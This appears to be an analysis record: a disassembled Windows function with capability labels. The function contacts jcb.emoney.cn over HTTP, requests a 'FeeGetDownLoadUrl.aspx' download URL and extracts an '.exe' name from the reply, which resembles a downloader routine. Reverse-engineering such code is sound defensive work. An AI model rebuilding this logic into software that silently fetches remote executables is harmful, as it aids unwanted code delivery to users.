Function at 0x404d10
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x431b62
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x7c8
mov eax, dword [0x441304]
push ebx
push esi
push edi
mov esi, ecx
mov dword [esp + 0x7cc], eax
mov byte [esp + 0x38], 0
xor eax, eax
mov ecx, 0x7f
lea edi, [esp + 0x39]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.jcb.emoney.cn
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], esi
stosb byte es:[edi], al
call fcn.00402740
mov dword [esp + 0x7dc], 0
call fcn.00422ef8
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0xac]
mov ecx, dword [esi + 0xb0]
push eax
push ecx
lea edx, [esp + 0x1c]
push str._FeeGetDownLoadUrl.aspx_tid_ldsid_ld
push edx
mov byte [esp + 0x7ec], 1
call fcn.004021f0
add esp, 0x10
lea eax, [esp + 0x638]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404dd9
push eax
push str.WSAStartup_failed_with_error__d_n
call fcn.00414626
add esp, 8
jmp 0x404e82
mov eax, dword [esp + 0xc]
cmp dword [eax - 4], 1
jle 0x404df4
mov eax, dword [eax - 0xc]
push eax
lea ecx, [esp + 0x10]
call fcn.004017b0
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x404e10
push str.gethostbyname_error__n
call fcn.00414626
add esp, 4
jmp 0x404e82
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0x50
mov esi, eax
mov word [esp + 0x2c], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x2a], ax
mov eax, dword [edi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [esp + 0x24]
push eax
push 0x1005
push 0xffff
mov ebx, 0x1388
push esi
mov dword [esp + 0x40], edx
mov dword [esp + 0x34], ebx
call edi
cmp eax, 0xffffffff
je 0x404e82
push 4
lea eax, [esp + 0x24]
push eax
push 0x1006
push 0xffff
push esi
mov dword [esp + 0x34], ebx
call edi
cmp eax, 0xffffffff
jne 0x404eda
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x7dc], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404ea8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov dword [esp + 0x7dc], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x405134
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
jmp 0x405134
push 0x10
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404eff
push str.connect_error_
call fcn.00414626
add esp, 4
jmp 0x405122
mov edx, dword [esp + 0x14]
xor eax, eax
mov byte [esp + 0x238], 0
mov ecx, 0xff
lea edi, [esp + 0x239]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc]
stosw word es:[edi], ax
push ecx
push edx
stosb byte es:[edi], al
lea eax, [esp + 0x240]
push str.GET__s_HTTP_1.0_r_nHost:_s_r_nUser_Agent:Mozilla_4.0_r_n_r_n
push eax
call fcn.00414541
lea eax, [esp + 0x248]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404f43
push 0
sub eax, edx
push eax
lea ecx, [esp + 0x240]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405122
lea ecx, [esp + 0x10]
call fcn.00401ab0
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov byte [esp + 0x7dc], 2
mov edi, edi
push 0
push 0x1ff
lea edx, [esp + 0x40]
push edx
push esi
call ebx
mov edi, eax
test edi, edi
lea ecx, [esp + 0x10]
jl 0x40511d
lea eax, [esp + 0x38]
push eax
mov byte [esp + edi + 0x3c], 0
call fcn.00404cd0
test edi, edi
jg 0x404f80
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp eax, 0xffffffff
jne 0x404fd6
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.WSACleanup_failed_with_error__d__n
call fcn.00414626
add esp, 8
mov edi, dword [esp + 0x10]
mov eax, dword [edi - 0xc]
test eax, eax
jge 0x404fe6
or esi, 0xffffffff
jmp 0x405001
push str._r_n_r_n
push edi
call fcn.00414289
add esp, 8
test eax, eax
jne 0x404ffd
or esi, 0xffffffff
jmp 0x405001
sub eax, edi
mov esi, eax
lea ecx, [esp + 0x18]
call fcn.00401ab0
mov eax, dword [edi - 0xc]
sub eax, esi
sub eax, 4
push eax
lea ecx, [esp + 0x20]
push ecx
mov bl, 3
lea ecx, [esp + 0x18]
mov byte [esp + 0x7e4], bl
call fcn.00401ee0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x7e0], 4
call fcn.00402100
lea ecx, [esp + 0x1c]
mov byte [esp + 0x7dc], bl
call fcn.00401920
lea ecx, [esp + 0x18]
call fcn.004040b0
mov esi, dword [esp + 0x18]
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x405110
push str..exe
push esi
call fcn.00414289
add esp, 8
test eax, eax
je 0x405110
sub eax, esi
cmp eax, 0xffffffff
jle 0x405110
lea edx, [esp + 0x18]
push edx
lea ecx, [esp + 0x14]
call fcn.00402100
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x10]
push eax
call fcn.00402100
push 0x2f
lea ecx, [esp + 0x14]
call fcn.00401860
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx - 0xc]
sub ecx, eax
dec ecx
push ecx
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x18]
call fcn.00401ee0
mov ecx, dword [esp + 0x24]
push eax
add ecx, 0x13c
mov byte [esp + 0x7e0], 5
call fcn.00402210
lea ecx, [esp + 0x1c]
call fcn.00401920
lea ecx, [esp + 0x18]
call fcn.00401920
lea ecx, [esp + 0x10]
call fcn.00401920
lea ecx, [esp + 0x14]
call fcn.00401920
lea ecx, [esp + 0xc]
call fcn.00401920
mov eax, 1
jmp 0x405136
lea ecx, [esp + 0x18]
call fcn.00401920
lea ecx, [esp + 0x10]
call fcn.00401920
lea ecx, [esp + 0x14]
call fcn.00401920
lea ecx, [esp + 0xc]
call fcn.00401920
xor eax, eax
mov ecx, dword [esp + 0x7d4]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x7cc]
call fcn.00413d31
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4